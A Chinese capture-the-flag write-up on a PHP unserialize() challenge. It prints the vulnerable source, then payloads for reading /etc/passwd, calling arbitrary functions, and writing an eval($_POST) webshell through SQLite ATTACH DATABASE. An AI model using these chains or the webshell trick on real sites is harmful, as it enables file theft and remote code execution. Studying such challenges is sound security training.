一个国外的比赛

Blog

精妙的反序列化,触发点在index.php中

1
2
$user = unserialize(base64_decode($_COOKIE["user"]));
echo $user->get_profile();

可用的类如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php
class Post {
public $title;
public $content;
public $comments;

public function __construct($title, $content) {
$this->title = $title;
$this->content = $content;
}

public function __toString() {
$comments = $this->comments;
// comments are bugged for now, but in future it might be re-implemented
// when it is, just append $comments_fallback to $out
if ($comments !== null) {
$comments_fallback = $this->$comments;
}

$conn = new Conn;
$conn->queries = array(new Query(
"select id from posts where title = :title and content = :content",
array(":title" => $this->title, ":content" => $this->content)
));
$result = $conn();
if ($result[0] === false) {
return "";
} else {
return "
<div class='card'>
<h3 class='card-header'>{$this->title}</h3>
<div class='card-body'>
<p class='card-text'>{$this->content}</p>
</div>
<div class='card-footer'>
<input class='input-group-text' style='font-size: 12px;' disabled value='Commenting is disabled.' />
</div>
</div>
";
}
}
}

class User {
public $profile;
public $posts = array();

public function __construct($username) {
$this->profile = new Profile($username);
}

// get user profile
public function get_profile() {
// some dev apparently mixed up user and profile...
// so this check prevents any more errors
if ($this->profile instanceof User) {
return "@i_use_vscode please fix your code";
} else {
// quite unnecessary to assign to a variable imho
$profile_string = "
<div>{$this->profile}</div>
";
return $profile_string;
}
}

public function get_posts() {
// check if we've already fetched posts before to save some overhead
// (our poor sqlite db is dying)
if (sizeof($this->posts) !== 0) {
return "Please reload the page to fetch your posts from the database";
}

// get all user posts
$conn = new Conn;
$conn->queries = array(new Query(
"select title, content from posts where user = :user",
array(":user" => $this->profile->username)
));

// get posts from database
$result = $conn();
if ($result[0] !== false) {
while ($row = $result[0]->fetchArray(1)) {
$this->posts[] = new Post($row["title"], $row["content"]);
}
}

// build the return string
$out = "";
foreach ($this->posts as $post) {
$out .= $post;
}
return $out;
}

// who put this?? git blame moment (edit: i checked, it's @i_use_vscode as usual)
public function __toString() {
$profile = $this->profile;
return $profile();
}
}

class Profile {
public $username;
public $picture_path = "images/real_programmers.png";

public function __construct($username) {
$this->username = $username;
}

// hotfix for @i_use_vscode (see line 97)
// when removed, please remove this as well
public function __invoke() {
if (gettype($this->picture_path) !== "string") {
return "<script>window.location = '/login.php'</script>";
}

$picture = base64_encode(file_get_contents($this->picture_path));

// check if user exists
$conn = new Conn;
$conn->queries = array(new Query(
"select id from users where username = :username",
array(":username" => $this->username)
));
$result = $conn();
if ($result[0] === false || $result[0]->fetchArray() === false) {
return "<script>window.location = '/login.php'</script>";
} else {
return "
<div class='card'>
<img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'>
<div class='card-body'>
<h3 class='card-title'>{$this->username}</h3>
</div>
</div>
";
}
}

// this is the correct implementation :facepalm:
public function __toString() {
if (gettype($this->picture_path) !== "string") {
return "";
}

$picture = base64_encode(file_get_contents($this->picture_path));

// check if user exists
$conn = new Conn;
$conn->queries = array(new Query(
"select id from users where username = :username",
array(":username" => $this->username)
));
$result = $conn();
if ($result[0] === false || $result[0]->fetchArray() === false) {
return "<script>window.location = '/login.php'</script>";
} else {
return "
<div class='card'>
<img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'>
<div class='card-body'>
<h3 class='card-title'>{$this->username}</h3>
</div>
</div>
";
}
}
}

class Conn {
public $queries;

// old legacy code - idk what it does but not touching it...
public function __invoke() {
$conn = new SQLite3("/sqlite3/db");
$result = array();

// on second thought, whoever wrote this is a genius
// its gotta be @i_use_neovim
foreach ($this->queries as $query) {
if (gettype($query->query_string) !== "string") {
return "Invalid query.";
}
$stmt = $conn->prepare($query->query_string);
foreach ($query->args as $param => $value) {
if (gettype($value) === "string" || gettype($value) === "integer") {
$stmt->bindValue($param, $value);
} else {
$stmt->bindValue($param, "");
}
}
$result[] = $stmt->execute();
}

return $result;
}
}

class Query {
public $query_string = "";
public $args;

public function __construct($query_string, $args) {
$this->query_string = $query_string;
$this->args = $args;
}

// for debugging purposes
public function __toString() {
return $this->query_string;
}
}
?>

任意文件读

利用profile类的toString来控制file_get_contents

1
2
3
4
$profile=new Profile("ar","/etc/passwd");
$user=new User($profile);

echo base64_encode(serialize($user));

无参方法调用

用User类的toString来调用任意的无参方法,用Query类的toString来绕过黑名单

1
2
3
4
5
$evil_user=new User("phpinfo");
$query=new Query($evil_user,"11");
$user=new User($query);

echo base64_encode(serialize($user));

任意sql语句执行

利用Conn类执行sql语句,配合sqlite写webshell

1
2
3
4
5
6
7
8
9
10
11
12
$con=new Conn();

$sql1=new Query("ATTACH DATABASE 'mac.php' AS test");
$sql2=new Query("create TABLE test.exp (dataz text)");
$sql3=new Query("insert INTO test.exp (dataz) VALUES ('<?php @eval(\$_POST[1]);?>')");

$con->queries = array($sql1,$sql2,$sql3);
$evil_user=new User($con);
$query=new Query($evil_user,"11");
$user=new User($query);

echo base64_encode(serialize($user));